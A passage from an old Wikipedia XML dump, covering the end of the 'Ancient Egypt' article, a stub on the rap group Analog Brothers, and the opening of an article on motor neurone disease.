Egypt unified as a single state circa [[3000 BC]]. [[Egyptian chronology]] involves assigning beginnings and endings to various dynasties beginning around this time. The [[conventional Egyptian chronology]] is the accepted developments during the 20th century, but do not include any of the major revision proposals that have also been made in that time. Even within a single work, often archeologists will offer several possible dates or even several whole chronologies as possibilities. Consequently, there may be discrepancies between dates shown here and in articles on particular rulers. Often there are also several possible spellings of the names. Typically, Egyptologists divide the history of pharaonic civilization using a schedule laid out first by [[Manetho]]'s ''Aegyptaica''. 

* '''[[List of pharaohs]]''':  The pharaohs stretch from before [[3000 BC]] to around [[30 BC]].
* '''Dynasties''' (see also: [[List of Egyptian dynasties]]):
** [[Early Dynastic Period of Egypt]] (1st to 2nd Dynasties; until ca. [[27th century BC]])
** [[Old Kingdom]] (3rd to 6th Dynasties; 27th to 22nd centuries [[Anno Domini|BC]])
** [[First Intermediate Period]] (7th to 11th Dynasties)
** [[Middle Kingdom of Egypt]] (11th to 14th Dynasties; 20th  to 17th centuries BC)
** [[Second Intermediate Period]] (14th to 17th Dynasties)
*** [[Hyksos]] (15th to 16th Dynasties)
** [[New Kingdom of Egypt]] (18th to 20th Dynasties; 16th to 11th centuries BC)
** [[Third Intermediate Period]] (21st to 25th Dynasties; 11th to 7th centuries BC)
** [[Late Period of Ancient Egypt]] (26th to 31st Dynasties; [[7th century BC]] to [[332 BC]])
*** [[Achaemenid Dynasty]]
** [[History of Greek and Roman Egypt|Graeco-Roman Egypt]] ([[332 BC]] to AD [[639]])
*** [[Ptolemaic Dynasty]]
*** [[Roman Empire]]

=== Taxation ===
The Egyptian government imposed a number of different taxes upon its people. As there was no known form of currency during that time period, taxes were paid for &quot;in kind&quot; (with produce or work). The Vizier controlled the taxation system through the departments of state. The departments had to report daily on the amount of stock availible, and how much was expected in the future. Taxes were paid for depending on a persons craft or duty. Landowners paid their taxes in grain and other produce grown on their property. Craftsmen paid their taxes in the goods that they produced. Hunters and fishermen paid their taxes with produce from the river, marshes, and desert. One person from every household was required to pay a labor tax by doing public work for a few weeks every year, such as digging canals or mining. However, a richer noble could hire a poorer man to do his labor tax.

==Language==
{{main|Egyptian language}}
Ancient Egyptian constitutes an independent branch of the [[Afro-Asiatic]] language [[phylum (linguistics)|phylum]]. Its closest relatives are the [[Berber languages|Berber]], [[Semitic languages|Semitic]], and [[Beja language|Beja]] groups of languages. Written records of the [[Egyptian language]] have been dated from about [[32nd century BC|3200 BC]], making it one of the oldest and longest documented languages. Scholars group Egyptian into six major chronological divisions:
*'''[[Archaic Egyptian]]''' (before 3000 BC)
:Consists of inscriptions from the late [[Predynastic Period|Predynastic]] and [[Early Dynastic Period|Early Dynastic]] period. The earliest known evidence of Egyptian [[hieroglyphic]] writing appears on [[Naqada]] II pottery vessels.
*'''[[Old Egyptian]]''' (3000&amp;ndash;2000 BC)
:The language of the [[Old Kingdom]] and [[First Intermediate Period]]. The [[Pyramid Texts]] are the largest body of literature written in this phase of the language. Tomb walls of elite Egyptians from this period also bear autobiographical writings representing Old Egyptian. One of its distinguishing characteristics is the tripling of [[ideogram]]s, phonograms, and determinatives to indicate the plural. Overall, it does not differ significantly from the next stage.
*'''[[Middle Egyptian]]''' (2000&amp;ndash;1300 BC)
:Often dubbed '''Classical Egyptian''', this stage is known from a variety of textual evidence in [[hieroglyphic]] and [[hieratic]] scripts dated from about the [[Middle Kingdom]]. It includes funerary texts inscribed on [[sarcophagi]] such as the [[Coffin Texts]]; wisdom texts instructing people on how to lead a life that exemplified the ancient Egyptian philosophical worldview (see the [[Ipuwer papyrus]]); tales detailing the adventures of a certain individual, for example the [[The Story of Sinuhe|Story of Sinhue]]; medical and scientific texts such as the [[Edwin Smith Papyrus]] and the [[Ebers papyrus]]; and poetic texts praising a god or a [[pharaoh]], like the [[Hymn to the Nile]]. The Egyptian [[vernacular]] already began to change from the written language as evidenced by some Middle Kingdom hieratic texts, but classical Middle Egyptian continued to be written in formal contexts well into the Late Dynastic period (sometimes referred to as [[Late Middle Egyptian]]).
*'''[[Late Egyptian]]''' (1300&amp;ndash;700 BC)
:Records of this stage appear in the second part of the [[New Kingdom]], considered by many as the &quot;Golden Age&quot; of ancient Egyptian civilization. It contains a rich body of religious and secular literature, comprising such famous examples as the [[Story of Wenamun]] and the [[Instructions of Ani]]. It was also the language of [[Ramesside]] administration. Late Egyptian is not totally distinct from Middle Egyptian, as many &quot;classicisms&quot; appear in historical and literary documents of this phase. However, the difference between Middle and Late Egyptian is greater than that between Middle and Old Egyptian. It's also a better representative than Middle Egyptian of the spoken language in the New Kingdom and beyond. Hieroglyphic [[orthography]] saw an enormous expansion of its [[grapheme|graphemic]] inventory between the Late Dynastic and [[Ptolemaic]] periods.
*'''[[Demotic Egyptian]]''' (7th century BC&amp;ndash;4th century AD)
{{main|Demotic Egyptian}}
*'''[[Coptic language|Coptic]]''' (3rd&amp;ndash;17th century AD)
{{main|Coptic language}}

===Writing===
For many years, the earliest known hieroglyphic inscription was the [[Narmer Palette]], found during excavations at [[Hierakonpolis]] (modern Kawm al-Ahmar) in the [[1890s]], which has been dated to c.[[3200 BC]]. However recent [[Archaeology|archaeological]] findings reveal that symbols on [[Gerzean]] pottery, ''c.''[[4000 BC]], resemble the traditional hieroglyph forms {{ref|www.touregypt.net.356}}. Also in 1998 a German archeological team under [[Gunter Dreyer]] excavating at [[Abydos, Egypt|Abydos]] (modern [[Umm el-Qa'ab]]) uncovered tomb [[U-j]], which belonged to a [[Predynastic Egypt|Predynastic]] ruler, and they recovered three hundred clay labels inscribed with [[proto-hieroglyphics]] dating to the [[Naqada IIIA]] period, circa [[33rd century BC]] {{ref|www.exn.ca.357}}, {{ref|www.findarticles.com.358}}. 

Egyptologists refer to Egyptian writing as '''[[Egyptian hieroglyph|hieroglyph]]s''', today standing as the world's earliest known [[writing system]].  The hieroglyphic script was partly [[syllabic]], partly [[ideographic]]. '''[[Hieratic]]''' is a cursive form of Egyptian hieroglyphs and was first used during the First Dynasty (c. 2925 BC &amp;ndash; c. 2775 BC). The term '''[[Demotic Egyptian|Demotic]]''', in the context of Egypt, came to refer to both the script and the language that followed the Late Ancient Egyptian stage, i.e. from the [[Nubian]] [[Twenty-fifth dynasty of Egypt|25th dynasty]] until its marginalization by the Greek [[Koine]] in the early centuries AD. After the conquest of [[Amr ibn al-A'as]] in the 7th century AD, the [[Coptic language]] survived as a spoken language into the [[Middle Ages]]. Today, it continues to be the liturgical language of the [[Christian]] minority.

Beginning from around [[2700 BC]], Egyptians used [[pictogram]]s to represent [[Egyptian hieroglyph#Script|vocal sounds]] -- both [[vowel]] and [[consonant]] vocalizations (see [[Egyptian hieroglyph#Script|Hieroglyph: Script]]). By [[2000 BC]], 26 [[pictogram]]s were being used to represent 24 (known) main [[Egyptian hieroglyph#Script|vocal sounds]]. The world's [[Middle Bronze Age alphabets|oldest known alphabet]] (c. [[1800 BC]]) is only an [[abjad]] system and was derived from these [[Egyptian hieroglyph#Script|uniliteral signs]] as well as other [[Egyptian hieroglyph]]s.

The hieroglyphic script finally fell out of use around the [[4th century]] AD. Attempts to decipher it began after the [[15th century]] (see ''[[Hieroglyphica]]'').

===Literature===
* c. [[19th century BC|1800 BC]]: [[The Story of Sinuhe|Story of Sinuhe]]
* c. 1800 BC: [[Ipuwer papyrus]]
* c. [[16th century BC|1600 BC]]: [[Westcar Papyrus]]
* c. 1180 BC: [[Papyrus Harris I]]
* c. [[11th century BC|1000 BC]]: [[Story of Wenamun]]

==Culture==
{{see also|Ancient Egyptian architecture}}
The Egyptian religions, embodied in [[Egyptian mythology]], were a succession of beliefs held by the people of Egypt, as early as [[Predynastic Egypt|predynastic]] times and all the way until the coming of [[Christianity]] and [[Islam]] in the [[History of Greek and Roman Egypt|Graeco-Roman]] era.  These were conducted by Egyptian [[priest]]s or [[magician]]s, but the use of [[magic and religion|magic]] and [[spell (paranormal)|spell]]s is questioned.

Every animal portrayed and worshipped in ancient Egyptian art, writing and religion is indigenous to [[Africa]], all the way from the [[Predynastic Egypt|predynastic]] until the [[History of Greek and Roman Egypt|Graeco-Roman]] eras, over 3000 years.  The [[Dromedary]], [[Domestication|domesticated]] first in [[Arabia]], first appears in Egypt (and North Africa) beginning in the 2nd millennium BCE.

The religious nature of ancient Egyptian civilization influenced its contribution to the [[arts of the ancient world]]. Many of the great works of ancient Egypt depict gods, goddesses, and pharaohs, who were also considered divine. [[Ancient Egyptian art]] in general is characterized by the idea of order. 

Evidence of [[Mummy#Mummies in other civilizations|mummies]] and [[Pyramid#Structures|pyramids outside ancient Egypt]] indicate reflections of ancient Egyptian belief values on other [[prehistory|prehistoric]] cultures, transmitted in one way over the [[Silk Road]]. Ancient Egypt's [[Foreign contacts of Ancient Egypt|foreign contacts]] included [[Nubia]] and [[Punt]] to the south, the [[Aegean]] and [[Ancient Greece|ancient Greece]] to the north, the [[Levant]] and other regions in the [[Near East]] to the east, and also [[Libya]] to the west.

Some scholars have speculated that Egypt's art pieces are sexually [[Symbolism|symbolic]].

==Ancient achievements==
[[image:Egypte louvre 316.jpg|right|thumb|150px|[[Louvre Museum]] antiquity]]
See [[Predynastic Egypt]] for inventions and other significant achievements in the [[Civilization#Sahara Region|Sahara region]] before the [[Protodynastic Period of Egypt|Protodynastic Period]]. 

The art and science of [[engineering]] was present in Egypt, such as accurately determining the position of points and the distances between them (known as [[surveying]]). These skills were used to outline [[pyramid]] bases. The [[Egyptian pyramids]] took the geometric shape formed from a polygonal base and a point, called the apex, by triangular faces. [[Cement|Hydraulic Cement]]  was first invented by the Egyptians. The [[Al Fayyum]] [[Irrigation]] (water works) was one of the main agricultural breadbaskets of the ancient world. There is evidence of ancient Egyptian pharaohs of the [[Twelfth dynasty of Egypt|twelfth dynasty]] using the natural lake of the Fayyum as a reservoir to store surpluses of water for use during the dry seasons. From the time of the [[First dynasty of Egypt|First dynasty]] or before, the Egyptians [[Mining|mined]] [[turquoise]] in [[Sinai Peninsula]].

The earliest evidence (circa [[1600 BC]]) of traditional [[empiricism]] is credited to Egypt, as evidenced by the [[Edwin Smith Papyrus|Edwin Smith]] and [[Ebers papyrus|Ebers papyri]]. The roots of the [[Scientific method#History|Scientific method]] may be traced back to the ancient Egyptians. The ancient Egyptians are also credited with devising the world's earliest known [[alphabet]], [[decimal system]] {{ref|www-groups.dcs.st-and.ac.uk.360}} and complex [[Timeline of mathematics|mathematical formularizations]], in the form of the [[Moscow and Rhind Mathematical Papyri]]. An awareness of the [[golden ratio]] seems to be reflected in many constructions, such as the [[Egyptian pyramids]]. 

The art of glass making is of very ancient origin with the Egyptians, as is evident from the glass jars, figures and ornaments discovered in the tombs. The paintings on the tombs have been interpreted as descriptive of the process of glass blowing. These illustrations representing smiths blowing
their fires by means of reeds tipped with clay. Therefore it can be concluded that glass-blowing is apparently of Egyptian origin. 

===Timeline===
''(All dates are approximate.)''
====Predynastic====
''See main article and timeline: [[Predynastic Egypt]].''
* [[3500 BC]]: [[Senet]], world's oldest (confirmed) [[board game]]
* [[3500 BC]]: [[Faience]], world's earliest known earthenware

====Dynastic====
[[Image:Pyramide_Kheops.JPG|thumb|200px|[[The Great Pyramid of Giza]].]]
[[Image:Egyptian Glass.jpg|thumb|200px|Egypt was first to create glass objects. {{3d_glasses}}]]
* [[33rd century BC|3300 BC]]: [[Bronze]] works (see [[Bronze Age#Near East Bronze Age|Bronze Age]]) 
* [[3200 BC]]: [[Egyptian hieroglyph]]s fully developed (see [[First dynasty of Egypt]])
* [[3200 BC]]: [[Narmer Palette]], world's earliest known [[historical document]]
* [[3100 BC]]: [[Decimal|Decimal system]], {{ref|www-groups.dcs.st-and.ac.uk.360}}, world's earliest (confirmed) use
* [[3100 BC]]: [[Wine cellar]]s, world's earliest known {{ref|www.touregypt.net.361}}
* [[3100 BC]]: [[Mining]], [[Sinai Peninsula#History|Sinai Peninsula]]
* [[3100 BC|3050 BC]]: [[Shipbuilding]] in [[Abydos, Egypt|Abydos]], {{ref|xoomer.virgilio.it.362}}
* [[3000 BC]]: [[Export]]s from [[Nile]] to [[Israel]]: [[wine]] (see [[Narmer]])
* [[3000 BC]]: [[Copper]] [[plumbing]] (see [[Copper#History|Copper: History]])
* [[3000 BC]]: [[Papyrus]], world's earliest known [[paper]]
* [[3000 BC]]: [[History of medicine#Egyptian medicine|Medical Institutions]]
* [[2900 BC]]: possible [[steel]]: [[carbon]]-containing [[iron]], {{ref|www.touregypt.net.363}}
* [[2700 BC]]: [[Surgery#History of surgery|Surgery]], world's earliest known
* [[2700 BC]]: precision [[Surveying#Origins|Surveying]]
* [[2700 BC]]: [[Egyptian hieroglyph#Script|Uniliteral signs]], forming basis of world's [[History of alphabets|earliest known alphabet]]
* [[2600 BC]]: [[Great Sphinx of Giza|Sphinx]], still today the world's largest single-stone [[statue]]
* [[2600 BC|2600s]]&amp;ndash;[[2500 BC]]: [[Shipping]] expeditions: [[Sneferu|King Sneferu]] and [[Sahure#History|Pharaoh Sahure]]. See also {{ref|www.msichicago.org.364}}, {{ref|www.touregypt.net.365}}.
* [[2600 BC]]: [[Barge]] transportation, stone blocks (see [[Egyptian pyramids#Construction techniques|Egyptian pyramids: Construction]])
* [[2600 BC]]: [[Pyramid of Djoser]], world's earliest known large-scale stone building
* [[2600 BC]]: [[Menkaure's Pyramid]] &amp; [[Red Pyramid]], world's earliest known works of carved [[granite]]
* [[2600 BC]]: [[Red Pyramid]], world's earliest known &quot;true&quot; smooth-sided pyramid; solid [[granite]] work
* [[2600 BC|2580 BC]]: [[Great Pyramid of Giza]], the [[World's tallest structures|world's tallest structure]] until [[1300|AD 1300]]
* [[2500 BC]]: [[Beekeeping]], {{ref|www.vftn.org.366}}
* [[2400 BC]]: [[Egyptian calendar|Astronomical Calendar]], used even in the [[Middle Ages]] for its [[mathematics|mathematical]] regularity
* [[2200 BC]]: [[Beer]], {{ref|www.touregypt.net.367}}
* [[1900 BC|1860 BC]]: possible [[Suez Canal|Nile-Red Sea Canal]] ([[Twelfth dynasty of Egypt]])
* [[1800 BC]]: [[History of the alphabet|Alphabet]], world's oldest known
* [[1800 BC]]: [[Timeline of mathematics|Berlin Mathematical Papyrus]], {{ref|www.math.buffalo.edu.368}}, 2nd order [[algebraic equations]]
* [[1800 BC]]: [[Moscow Papyrus|Moscow Mathematical Papyrus]], generalized formula for volume of [[frustum]]
* [[1650s BC|1650 BC]]: [[Rhind Mathematical Papyrus]]: [[geometry]], [[cotangent]] analogue, [[algebraic equations]], [[arithmetic series]], [[geometric series]]
* [[1600 BC]]: [[Edwin Smith papyrus]], medical tradition traces as far back as c. [[3000 BC]]
* [[1550s BC|1550 BC]]: [[Ebers papyrus|Ebers Medical Papyrus]], traditional [[empiricism]]; world's earliest known documented [[tumors]] (see [[History of medicine#Egyptian medicine|History of medicine]])
* [[1500 BC]]: [[Glass|Glass-making]], world's earliest known
* [[1250s BC|1258 BC]]: [[Peace treaty]], world's earliest known (see [[Ramesses II#Life|Ramesses II]], {{ref|www.touregypt.net.369}})
* [[1160s BC|1160 BC]]: [[Turin papyrus]], world's earliest known [[geology|geologic]] and [[topographic]] map
* [[1000 BC]]: [[Tar|Petroleum tar]] used in [[Mummy|mummification]]{{ref|www.geotimes.org.feb05}}  &lt;!-- world's earliest known use of petroleum???? need documentation --&gt;
* [[500s BC|5th]]&amp;ndash;[[400s BC|4th century BC]] (or perhaps earlier): battle games ''petteia'' and ''seega''; possible precursors to [[Chess]] (see [[Origins of chess]])
====Other====
** c.[[2500 BC]]: [[Westcar Papyrus]]
** c.[[1800 BC]]: [[Ipuwer papyrus]]
** c.[[1800 BC]]: [[Papyrus Harris I]]
** c.[[1400 BC]]: [[Tulli Papyrus]]
** c.[[1300 BC]]: [[Ebers papyrus|Brugsch Papyrus]]
** Unknown date: [[Rollin Papyrus]]
&lt;!-- shouldn't this section just be merged withthe above? why list it as Other? --&gt;  &lt;!-- No achievements are represented here; e. g., the Tulli Papyrus does not physically exist! And it is a controversial ancient account of UFOs! --&gt;

===Open problems===
{{main|Unsolved problems in Egyptology}}

There is a question as to the sophistication of ancient Egyptian technology, and there are several [[open problem]]s concerning real and alleged ancient Egyptian achievements. Certain artifacts and records do not fit with conventional technological development systems. It is not known why there is no neat progression to an Egyptian [[Iron Age]] nor why the historical record shows the Egyptians taking so long to begin using [[iron]]. It is unknown how the Egyptians shaped and worked [[granite]]. The exact date the Egyptians started producing [[glass]] is debated.

Some question whether the Egyptians were capable of long distance [[navigation]] in their [[boat]]s and when they became knowledgeable sailors. It is contentiously disputed as to whether or not the Egyptians had some understanding of [[electricity]] and if the Egyptians used [[engine]]s or [[Baghdad Battery|batteries]]. The [[Dendera light|relief at Dendera]] is interpreted in various ways by scholars. The topic of the [[Saqqara Bird]] is controversial, as is the extent of the Egyptians' understanding of [[aerodynamics]]. It is unknown for certain if the Egyptians had [[kite]]s or [[glider]]s.

[[Beekeeping]] is known to have been particularly well developed in Egypt, as accounts are given by several [[Ancient Rome|Roman]] writers &amp;mdash; [[Virgil]], [[Gaius Julius Hyginus]], [[Marcus Terentius Varro|Varro]] and [[Columella]]. It is unknown whether Egyptian [[beekeeping]] developed independently or as an [[import]] from [[Southern Asia]].

==See also==
{{commonscat|Ancient Egypt}}{{portal}}
* [[List of Ancient Egyptians]]
* [[List of pharaohs]]
* [[Egyptology]]
* [[Unsolved problems in Egyptology]]
* [[History of Egypt]]
* [[List of Ancient Egyptian sites]]
* [[Egyptian Museum]]
* [[Race of the Ancient Egyptians]]
* [[Egypt in the European imagination]]

==Further reading==
*[[John Baines]] &amp; Jaromir Malek, ''The Cultural Atlas of Ancient Egypt'', revised edition, Facts on File, 2000. ISBN 0816040362
*[[Barry Kemp]], ''Ancient Egypt: Anatomy of a Civilization'', Routledge, 1991. ISBN 0415063469
*Bill Manley (ed.), ''The Seventy Great Mysteries of Ancient Egypt''. Thames &amp; Hudson, ISBN 0500051232
*Ian Shaw, ''The Oxford History of Ancient Egypt'', Oxford University Press, 2003. ISBN 0192804588

==External links==
*[http://www.ancientegypt.co.uk/ Ancient Egypt] - maintained by the [[British Museum]], this site provides a useful introduction to Ancient Egypt for older children and young adolescents
*[http://archaeology.about.com/od/ancientegypt/ Ancient Egypt and Egyptians] articles and resources from About Archaeology
*[http://www.bbc.co.uk/history/ancient/egyptians/ BBC History: Egyptians] - provides a reliable general overview and further links
*[http://www.mysteries-in-stone.co.uk Ancient Egyptian History] - A comprehensive &amp; consise educational  website focusing on the basic and the advanced in all aspects of Ancient Egypt
*[http://www.ancientneareast.net/egypt.html Ancientneareast.net: Ancient Egypt] - provides a comprehensive listing of resources relating to the archaeology of Ancient Egypt
*[http://www.newton.cam.ac.uk/egypt/ Egyptology Resources] - maintained by Dr Nigel Strudwick, offers one reliable guide to online documentation of Ancient Egypt
*[http://www.kv5.com/ The Theban Mapping Project] - although focusing on the Theban region (modern [[Luxor]]), this site holds much of general interest relating to Ancient Egypt
*[http://www.projectshum.org/Ancient/egypt.html Ancient Civilizations - Ancient Egypt] children's site

== Notes ==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
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     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
# {{note|www.ncbi.nlm.nih.gov.348}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15202071&amp;query_hl=6&amp;itool=pubmed_docsum | accessdate=January 24 | accessyear=2006 }}
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# {{note|www.ncbi.nlm.nih.gov.350}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15457403&amp;query_hl=11&amp;itool=pubmed_docsum | accessdate=January 24 | accessyear=2006 }}
# {{note|www.ncbi.nlm.nih.gov.351}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14748828| accessdate=December 5 | accessyear=2005 }}
# {{note|Zakrzewski}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?dmd=Retrieve&amp;db=PubMed&amp;list_uids=12772210&amp;dopt=Abstract|accessdate=January 27 | accessyear=2006 }}
# {{note|www.ncbi.nlm.nih.gov.352}} {{cite web | title=Who were the Ancient Egyptians? | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16331657&amp;query_hl=16&amp;itool=pubmed_docsum | accessdate=January 24 | accessyear=2006 }}
# {{note|www.world-science.net.353}} {{cite web | title=Study traces Egyptians’ stone-age roots | url=http://www.world-science.net/exclusives/exclusives-nfrm/051217_egypt1.htm | accessdate=January 24 | accessyear=2006 }}
# {{note|www.ncbi.nlm.nih.gov.354}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10091248&amp;itool=iconabstr | accessdate=December 5 | accessyear=2005 }}
# {{note|www.ncbi.nlm.nih.gov.355}} {{cite web | title=Entrez PubMed | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11148985&amp;itool=iconabstr | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.356}} {{cite web | title=Egypt: History - Predynastic Period | url=http://www.touregypt.net/ebph5.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.exn.ca.357}} {{cite web | title=:: Discovery Channel CA :: | url=http://www.exn.ca/egypt/story.asp?st=Lifestyles | accessdate=December 5 | accessyear=2005 }}
# {{note|www.findarticles.com.358}} {{cite web | title=Accounting Historians Journal, The: oldest writings, and inventory tags of Egypt, The | url=http://www.findarticles.com/p/articles/mi_qa3657/is_200206/ai_n9107461 | accessdate=December 5 | accessyear=2005 }}
# {{note|www-groups.dcs.st-and.ac.uk.359}} {{cite web | title=Overview of Egyptian Mathematics | url=http://www.touregypt.net/ebph5.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www-groups.dcs.st-and.ac.uk.360}} {{cite web | title=Overview of Egyptian Mathematics | url=http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Egyptian_mathematics.html | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.361}} {{cite web | title=Wine in Ancient Egypt | url=http://www.touregypt.net/magazine/mag11012000/magf2.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|xoomer.virgilio.it.362}} {{cite web | title=Francesco Raffaele Egyptology News | url=http://xoomer.virgilio.it/francescoraf/hesyra/news.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.363}} {{cite web | title=Egypt: Science and chemistry in ancient Egypt | url=http://www.touregypt.net/science.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.msichicago.org.364}} {{cite web | title=MSIChicago : Exhibits : Ships Through the Ages | url=http://www.msichicago.org/exhibit/ships/ | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.365}} {{cite web | title=The Ancient Egyptian Navy | url=http://www.touregypt.net/featurestories/navy.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.vftn.org.366}} {{cite web | title=apiary2 | url=http://www.vftn.org/projects/bryant/navbar_pages/apiary_2.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.367}} {{cite web | title=Egypt: Tour Egypt Monthly: Anceint Egyptian Alcohol and Beer | url=http://www.touregypt.net/magazine/mag04012001/magf2.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www-groups.dcs.st-and.ac.uk.368}} {{cite web | title=Overview of Egyptian Mathematics | url=http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Egyptian_mathematics.html | accessdate=December 5 | accessyear=2005 }}
# {{note|www.touregypt.net.369}} {{cite web | title=Egypt: Ramses the Great, The Pharaoh Who Made Peace with his Enemies And the First Peace Treaty in History | url=http://www.touregypt.net/featurestories/treaty.htm | accessdate=December 5 | accessyear=2005 }}
# {{note|www.geotimes.org.370}} {{cite web | title=Geotimes - February 2005 - Mummy tar in ancient Egypt | url=http://www.geotimes.org/feb05/NN_mummytar.html | accessdate=January 9 | accessyear=2006 }}

{{Ancient Egypt}}

[[Category:Ancient Egypt| ]]

[[ar:قدماء المصريين]]
[[bg:Древен Египет]]
[[ca:Antic Egipte]]
[[da:Det gamle Ægypten]]
[[de:Altes Ägypten]]
[[eo:Egipta civilizo]]
[[es:Antiguo Egipto]]
[[fa:مصر باستان]]
[[fi:Muinainen Egypti]]
[[fr:Égypte antique]]
[[gl:Antigo Exipto]]
[[he:מצרים העתיקה]]
[[hu:Ókori Egyiptom]]
[[ja:古代エジプト]]
[[ko:이집트 문명]]
[[lv:Senā Ēģipte]]
[[mk:Антички Египет]]
[[ms:Mesir purba]]
[[nds:Ole Ägypten]]
[[nl:Oude Egypte]]
[[no:Oldtidens Egypt]]
[[oc:Egipte]]
[[pl:Starożytny Egipt]]
[[ru:Древний Египет]]
[[sl:Stari Egipt]]
[[sr:Стари Египат]]
[[uk:Стародавній Єгипет]]
[[zh:古埃及]]</text>
    </revision>
  </page>
  <page>
    <title>Analog Brothers</title>
    <id>875</id>
    <revision>
      <id>41300881</id>
      <timestamp>2006-02-26T11:12:46Z</timestamp>
      <contributor>
        <username>Urthogie</username>
        <id>106482</id>
      </contributor>
      <comment>/* External links */ remove category overlap</comment>
      <text xml:space="preserve">'''Analog Brothers''' is an experimental rap crew featuring Ice Oscillator a.k.a. [[Ice T]] (keyboards, drums, voc), Keith Korg a.k.a. [[Kool Keith]] (bass, strings, vocals), Mark Moog (drums, ''violyns'' and vocals) and Silver Synth (''synthasizer'', ''lazar bell'' and vocals). Their CD ''Pimp To Eat'' featured guest appearances by various members of the [[Rhyme Syndicate]], [[Odd Oberheim]], [[Jacky Jasper]], D.J. Cisco from S.M. and H Bomb, the [[Synth-a-Size Sisters]] and Teflon. 

==Discography==
* 2000 ''[[Pimp to Eat]]'' (Ground Control/Nu Gruv)

==External links==
*{{AMG Artist|sql=11:5f47gjlr26ib|artist=Analog Brothers}}
*[http://www.discogs.com/artist/Analog+Brothers Analog Brothers] at [[Discogs]]

[[Category:American hip hop groups]]
[[Category:Alternative hip hop musicians]]
{{hip-hop-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Motor neurone disease</title>
    <id>876</id>
    <revision>
      <id>42160271</id>
      <timestamp>2006-03-04T05:30:24Z</timestamp>
      <contributor>
        <ip>71.251.77.2</ip>
      </contributor>
      <comment>/* History and prominent patients */</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Motor neurone disease |
  ICD10       = {{ICD10|G|12|2|g|10}} |
  ICD9        = {{ICD9|335.2}} |
}}
The '''''motor neurone diseases''''' (MND) are a group of progressive neurological disorders that destroy [[motor neuron]]s, the cells that control voluntary muscle activity such as speaking, walking, breathing, and swallowing.  [[Amyotrophic lateral sclerosis]] (ALS), sometimes called [[Lou Gehrig]]'s disease, [[progressive muscular atrophy]] (PMA), [[spinal muscular atrophy]] (SMA), progressive or pseudo-bulbar palsy (PBP) and [[primary lateral sclerosis]] (PLS) are all forms of motor neurone disease.

==Terminology==
In this article, MND refers to a group of diseases which affect the motor neurons. In the [[United States]], the term [[ALS]] is more commonly used, where it is also known as [[Lou Gehrig|Lou Gehrig's]] disease, after the [[baseball]] player. Although previously described by other neurologists of the 19th century, it was [[Jean-Martin Charcot]], a [[France|French]] [[neurologist]], who suggested grouping together a number of disparate conditions all affecting the lateral horn of the spinal cord in [[1869]]. In France the disease is sometimes known as Maladie de Charcot (Charcot's disease), although it may also be referred to by the direct translation of ALS, Sclerose Laterale Amyotrophique (SLA). To help prevent confusion, the annual scientific research conference dedicated to the study of MND is called the International ALS/MND Symposium.

==Signs and symptoms==
Neurological examination presents specific signs associated with upper and lower motor neuron degeneration. Signs of [[upper motor neuron]] damage include [[spasticity]], brisk [[reflex action|reflexes]] and the [[Babinski sign]]. Signs of [[lower motor neuron]] damage include weakness and muscle atrophy. 

Note that every muscle group in the body requires both upper and lower motor neurons to function. It is a common misconception that &quot;upper&quot; motor neurons control the arms, whilst &quot;lower&quot; motor neurons control the legs. The signs described above can occur in any muscle group, including the arms, legs, torso, and bulbar region. 

Symptoms usually present between the ages of 50-70, and include progressive weakness, muscle wasting, and muscle fasciculations; spasticity or stiffness in the arms and legs; and overactive tendon reflexes. Patients may present with symptoms as diverse as a dragging foot, unilateral muscle wasting in the hands, or slurred speech. 

The symptoms described above may resemble a number of other rare diseases, known as &quot;MND Mimic Disorders&quot;. These include, but are not limited to [[multifocal motor neuropathy]], [[kennedy's disease]], [[hereditary spastic paraplegia]], [[spinal muscular atrophy]] and [[monomelic amyotrophy]]. A small subset of familial MND cases occur in children, such as &quot;juvenile ALS&quot;, Madras syndrome, and individuals who have inherited the ALS2 gene. However, these are not typically referred to as MND, but by their specific names.

==Diagnosis==
